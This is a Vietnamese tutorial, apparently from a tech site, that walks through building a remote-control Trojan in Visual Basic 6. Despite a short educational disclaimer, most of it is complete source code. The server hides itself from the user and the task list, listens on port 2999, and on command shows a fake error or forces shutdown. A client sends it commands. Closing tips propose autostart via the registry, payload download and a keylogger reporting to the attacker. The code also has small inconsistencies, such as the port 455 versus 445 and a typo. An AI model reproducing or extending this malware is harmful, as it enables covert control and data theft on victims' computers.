Cách viết một Trojan đơn giản trong VB6

Chúng tôi đăng bài này không phải mục đích khuyến khích các bạn viết virus phá hoại dữ liệu người dùng mà chỉ muốn qua bài viết này các bạn có thể hiểu biết một phần nào đó về cách xây dựng một virus. Qua đây các bạn cũng có thể xây dựng các ý tưởng về một phần mềm chống virus khi chúng ta biết rõ đường đi của một virus mạng.

Viết một Trojan dễ dàng hơn nhiều so với mọi người nghĩ. Tất cả thực sự chỉ cần hai chương trình ứng dụng đơn giản với nội dung ít hơn 100 dòng mã lệnh.

Chương trình đầu tiên là client, là chương trình cho người sử dụng biết. Chương trình thứ hai là server, hay phần "trojan" thực.

Bây giờ chúng ta sẽ xem chúng ta cần gì cho cả hai và một số ví dụ mẫu.

Server

Server là phần Trojan của chương trình. Nó cần phải được giấu để người dùng bình thường không thể tìm thấy nó.
Để thực hiện điều này bạn bắt đầu bằng cách sử dụng đoạn mã lệnh sau:

```
Private Sub Form_Load()
   Me.Visible = False
End Sub
```

Đoạn mã này làm cho chương trình không thể thấy được bằng mắt thường nhưng có thể bị phát hiện trong Task Manager của Windows vì thế nếu muốn chương trình ẩn tốt hơn, chúng ta có thể viết đoạn mã như sau:

```
Private Sub Form_Load()
   Me.Visible = False
   App.TaskVisible = False
End Sub
```

(Trong hệ điều hành Windows, tất cả chương trình có đuôi *.exe* đều được thể hiện trong danh sách chương trình chạy. Tuy nhiên chương trình của bạn sẽ được ẩn trong *Running Applications List*)

Bây giờ chúng ta đã có một chương trình tàng hình đối với người sử dụng bình thường, mà chỉ cần có bốn dòng lệnh. Tuy nhiên nó vẫn còn quá đơn giản, chúng ta có thể làm cho nó tốt hơn bằng cách thêm vào một số hàm.

Đầu tiên là làm sao cho nó có thể "nghe" được các kết nối khi nó xâm nhập được vào máy, chúng ta cần thêm vào một điều khiển *Winsock Control*.

Tôi đặt tên cho điều khiển của tôi là "win". Còn các bạn có thể đặt là bất cứ cái gì tuỳ ý.

Để làm cho Trojan "nghe" được cổng 2999 khi khởi động, chúng ta viết đoạn mã như sau:

```
Private Sub Form_Load()
    Me.Visible = False
    App.TaskVisible = False
    win.LocalPort = 2999
    win.RemotePort = 455
    win.Listen
End Sub
```

Đoạn mã này thiết lập một cổng mở cục bộ tới cổng 2999, và cổng mà nó gửi tới là 445.

Bây giờ, chương trình đã có thể "nghe", nhưng chưa làm được điều gì rõ ràng cả.

Chúng ta thêm đoạn mã sau vào form chính:

```
Private Sub win_ConnectionRequest(ByVal requestID As Long)
     win.Close
     win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
    win.GetData GotDat
    DoActions (GotDat)
End Sub
```

Tiếp theo, chúng ta sẽ viết hàm **DoActions** như là một chương trình con để gọi vào main form. Đoạn mã trên thực hiện hai nhiệm vụ: Đầu tiên là làm cho tất cả các yêu cầu kết nối được tự động chấp nhận; tiếp đó là làm cho tất cả các dữ liệu được tự động chấp nhận và sau đó thì chuyển toàn bộ dữ liệu này sang cho hàm **DoActions** mà chúng ta sẽ viết dưới đây.

Hàm **DoActions** nên viết ở dạng public để các chương trình ở ngoài modul cũng có thể dùng được. Thêm đoạn mã sau vào modul, và chúng ta đang làm việc với server của Trojan:

```
Public Function DoActions(x As String)
   Select Case x
      Case "msgbox"
         Msgbox "The file C:\windows\getboobies.exe has caused an
error and will be terminated",vbCritical,"Critical Error"
      Case "shutdown"
          shell "shutdown -s -f -t 00"
   End Select
End Function
```

Bây giờ bạn đã có một chương trình mà khi dữ liệu "*Msgbox*" được gửi tới cổng 2999, nó sẽ thể hiện một hộp tin nhắn msgbox trên máy tính của nạn nhân. Khi dữ liệu "*shutdown*" được gửi tới cổng 2999, nó sẽ tắt máy tính của nạn nhân. Tôi dùng câu lệnh "*Select Case*" để dễ dàng chỉnh sửa đoạn mã về sau này. Xin chúc mừng, bạn vừa mới viết xong Trojan đầu tiên của bạn. Bây giờ chúng ta hãy xem lại đoạn mã hoàn chỉnh.

Main Form

```
Private Sub Form_Load()
   Me.Visible = False
   App.TaskVisible = False
   win.LocalPort = 2999
   win.RemotePort = 455
   win.Listen
End Sub

Pivate Sub win_ConnectionRequest(ByVal requestID As Long)
   win.Close
```

```
    win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
    win.GetData GotDat
    DoActions (GotDat)
End Sub
```

Hãy nhớ thêm điều khiển winsock và đặt tên nó là "win" nếu bạn dùng đoạn mã này:

Module

```
Public Function DoActions(x As String)
    Select Case x
      Case "msgbox"
        Msgbox "The file C:\windows\getboobies.exe has caused an
error and will be terminated",vbCritical,"Critical Error"
      Case "shutdown"
        shell "shutdown -s -f -t 00"
    End Select
End Function
```

Tất cả phần Server của Trojan chỉ có thể. Giờ chúng ta xem xét đến phần Client.

Client

Client là cái mà bạn sẽ tương tác tới. Bạn sẽ dùng nó để kết nối tới server từ xa (trojan) và gửi cho nó các lệnh. Sau khi đã viết được phần server chấp nhận câu lệnh "*shutdown*", "*msgbox*", chúng ta hãy tạo ra một client gửi đi các câu lệnh đó.

Tạo một form thêm một điều khiển Winsock Control, một hộp text box và bốn nút. Trong đoạn mã dưới hộp text box được đặt tên là *txtIP*, các nút được đặt tên là *cmdConnect, cmdMsgbox, cmdShutdown* và *cmdDisconnect*. Đoạn mã như sau:

```
Private Sub cmdConnect_Click()
    IpAddy = txtIp.Text
```

```
    Win.Close
    Win.RemotePort = 2999
    Win.RemoteHost = IpAddy
    Win.LocalPort = 9999
    Win.Connect
    cmdConnect.Enabled = False
End Sub

Private Sub cmdDisconnect_Click()
    Win.Close
    cmdConnect.Enabled = True
End Sub

Private Sub cmdMsgbox_Click()
    Win.SendData "msgbox"
End Sub

Private Sub cmdShutdown_Click()
    Win.SendData "shutdown"
End Sub
```

Đó là đoạn mã cho client. Tất cả việc nó làm là lấy địa chỉ IP từ txtIP và kết nối với cổng từ xa 2999. Sau khi được kết nối, bạn có thể gửi dữ liệu "*shutdown*" hay "*msgbox*" tới server và các hoạt động tương ứng sẽ được thực hiện (tắt máy tính hay thể hiện một hộp tin nhắn).

Hai chương trình này làm được rất ít nhưng có thể cải tiến nhanh chóng thành một chức năng quản trị từ xa mạnh nếu bạn biết bạn đang làm gì. Tôi đề nghị là nên cố gắng thêm các loại điều khiển lỗi và hàm cho cả client và server.

Lời khuyên

Hãy làm cho server có thể tải được một file đặc tả của người tấn công.

Thêm mã lệnh để Server được thực thi lúc khởi động (là một khoá thanh ghi).

Và một keylogger cho server – làm cho nó gửi thông tin cho người tấn công.

Có rất nhiều cách bạn có thể làm, chỉ cần dùng trí tưởng tượng của bạn.